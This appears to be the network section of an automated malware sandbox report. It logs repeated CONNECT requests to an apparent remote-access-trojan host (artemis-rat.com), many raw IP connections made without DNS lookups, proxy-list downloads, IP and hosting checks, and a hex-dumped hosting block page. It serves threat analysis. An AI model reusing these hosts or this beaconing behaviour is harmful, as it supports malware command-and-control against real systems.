Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.com
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 91.187.55.39
Source: unknown	TCP traffic detected without corresponding DNS query: 18.141.177.23
Source: unknown	TCP traffic detected without corresponding DNS query: 45.11.95.165
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.8.162
Source: unknown	TCP traffic detected without corresponding DNS query: 103.169.130.46
Source: unknown	TCP traffic detected without corresponding DNS query: 103.141.66.78
Source: unknown	TCP traffic detected without corresponding DNS query: 162.241.6.97
Source: unknown	TCP traffic detected without corresponding DNS query: 203.161.32.242
Source: unknown	TCP traffic detected without corresponding DNS query: 41.74.91.244
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.111.135
Source: unknown	TCP traffic detected without corresponding DNS query: 20.219.180.149
Source: unknown	TCP traffic detected without corresponding DNS query: 160.248.80.91
Source: unknown	TCP traffic detected without corresponding DNS query: 172.67.254.127
Source: unknown	TCP traffic detected without corresponding DNS query: 154.72.90.74
Source: unknown	TCP traffic detected without corresponding DNS query: 103.26.108.118
Source: unknown	TCP traffic detected without corresponding DNS query: 92.204.134.38
Source: unknown	TCP traffic detected without corresponding DNS query: 72.167.222.113
Source: unknown	TCP traffic detected without corresponding DNS query: 50.217.226.43
Source: unknown	TCP traffic detected without corresponding DNS query: 190.186.237.103
Source: unknown	TCP traffic detected without corresponding DNS query: 152.32.78.24
Source: unknown	TCP traffic detected without corresponding DNS query: 201.20.67.70
Source: unknown	TCP traffic detected without corresponding DNS query: 117.70.49.235
Source: unknown	TCP traffic detected without corresponding DNS query: 162.241.70.64
Source: unknown	TCP traffic detected without corresponding DNS query: 14.103.24.148
Source: unknown	TCP traffic detected without corresponding DNS query: 207.180.234.220
Source: unknown	TCP traffic detected without corresponding DNS query: 85.120.30.66
Source: unknown	TCP traffic detected without corresponding DNS query: 104.16.226.6
Source: unknown	TCP traffic detected without corresponding DNS query: 142.54.237.34
Source: unknown	TCP traffic detected without corresponding DNS query: 3.24.58.156
Source: unknown	TCP traffic detected without corresponding DNS query: 43.133.136.208
Source: unknown	TCP traffic detected without corresponding DNS query: 200.174.198.95
Source: unknown	TCP traffic detected without corresponding DNS query: 45.56.220.210
Source: unknown	TCP traffic detected without corresponding DNS query: 103.226.232.188
Source: unknown	TCP traffic detected without corresponding DNS query: 104.21.6.88
Source: unknown	TCP traffic detected without corresponding DNS query: 116.97.240.147
Source: unknown	TCP traffic detected without corresponding DNS query: 143.255.140.28
Source: unknown	TCP traffic detected without corresponding DNS query: 113.53.3.242
Source: unknown	TCP traffic detected without corresponding DNS query: 103.167.68.255
Source: unknown	TCP traffic detected without corresponding DNS query: 122.152.53.25
Source: unknown	TCP traffic detected without corresponding DNS query: 51.222.241.157
Source: unknown	TCP traffic detected without corresponding DNS query: 8.209.255.13
Source: unknown	TCP traffic detected without corresponding DNS query: 162.214.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 194.4.50.91
Source: unknown	TCP traffic detected without corresponding DNS query: 103.199.155.18
Source: unknown	TCP traffic detected without corresponding DNS query: 4.182.9.108
Source: unknown	TCP traffic detected without corresponding DNS query: 4.182.9.108
Source: unknown	TCP traffic detected without corresponding DNS query: 4.182.9.108
Source: unknown	TCP traffic detected without corresponding DNS query: 208.109.14.49
Source: unknown	TCP traffic detected without corresponding DNS query: 91.213.119.246
Source: unknown	TCP traffic detected without corresponding DNS query: 20.24.43.214

Source: global traffic	HTTP traffic detected: GET /TheSpeedX/PROXY-List/blob/master/http.txt HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: github.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> 